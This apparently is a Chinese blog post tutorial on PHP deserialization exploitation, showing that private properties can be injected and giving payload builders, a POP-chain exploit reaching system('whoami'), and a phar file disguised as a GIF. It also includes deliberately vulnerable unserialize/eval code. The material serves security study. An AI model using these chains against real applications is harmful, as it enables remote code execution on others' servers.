Fork me on GitHub

php反序列化

之前听漏洞银行的一个女生讲php反序列化。她说了一句。php反序列话找public变量。

导致我以为必须php反序列化。可控的变量必须是public or protected。private私有的变量不可以。

今天测试了一下。private变量也是也可以的。

class Test{
    private $test;
    public function __construct($test)
    {
        $this->test = $test;
    }
    public function __destruct()
    {
        eval($this->test);
    }
}unserialize($_GET['a']);

payload1:

class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
{
    private $test;
    public function __construct($test){
        $this->test = $test;
    }
}
$a = new Test('phpinfo();');
echo urlencode(serialize($a));

payload2:

class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
{
    private $test;
    public function __construct($test){
        $this->test = 'phpinfo()';
    }
}
$a = new Test();
echo urlencode(serialize($a));

paload3:

class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
{
    private $test='phpinfo();';
}
$a = new Test();
echo urlencode(serialize($a));

 

 

 

payload4:这样构造的pyload的是不行的。因为变量是private属性。这种情况的pyload只能是public.

class Test                             
{
    private $test;
    public function __construct($test){
        $this->test = $test;
    }
}
$a = new Test();
$a->test='phpinfo();';
echo urlencode(serialize($a)); //O%3A4%3A"Test"%3A1%3A%7Bs%3A10%3A"%00Test%00test"%3Bs%3A9%3A"phpinfo%28%29"%3B%7D

以上是对序列化变量覆盖的常用4中方法。其中反序列化时是不会执行__construct这个函数的。

总结:

php反序列的时候可控的变量可以是:public、private、protected

其中php反序列化形成的关键:

1、存在反序列化可控的变量

2、找危险函数的类(当找不到危险函数的类的时候,可以尝试利用内置的类构造。http://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

3、形成pop链(不一定都是变量覆盖,可以覆盖其方法。http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

eg:2.php  2.php中__destruct中有events和event俩个可控变量。可以将events赋值给test2类,因为test2中没有fire方法,就会调用test2类中的__call方法

test2中的formatters变量可控。

include("./3.php");    
class test1
    {

        protected $events;

        protected $event;

        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }


        public function __destruct()
        {
            $this->events->fire($this->event);
        }
    }
unserialize($_GET['a']);

3.php

<?php
    class test2
    {
        protected $formatters;

        function __construct($forma){
            $this->formatters = $forma;
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    }

exp.php

<?php
class test1
    {

        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
        public function __destruct()
        {
            $this->events->fire($this->event); //让fire可控制
        }
    }
class test2
{
        protected $formatters;

        function __construct($forma){
            $this->formatters = $forma;
        }
                               // fire            whoami
        public function format($formatter, $arguments = array())
        {                            system                whoami
             return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {                                // ['fire'=>'system']
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];   //system
            }
        }

        public function __call($method, $attributes)
        {                          //fire   whoami
            return $this->format($method, $attributes);
        }
}

 $fs = array("fire"=>"system");
 $gen = new test2($fs);
 $pb = new test1($gen,"whoami");
 echo urlencode(serialize($pb));

 // call_user_func('system','whoami');

 这几个函数参数变量可控也可能导致反序列化漏洞

include('./1.phar');
file_exists('phar://./1.phar');
file_get_contents('phar://./1.phar');

 生成phar

$fs = array("fire"=>"system");
$gen = new test2($fs);
$pb = new test1($gen,"whoami");
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($pb);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '3.gif');

 

posted @ 2018-05-24 11:32  Afant1  阅读(493)  评论(0编辑  收藏  举报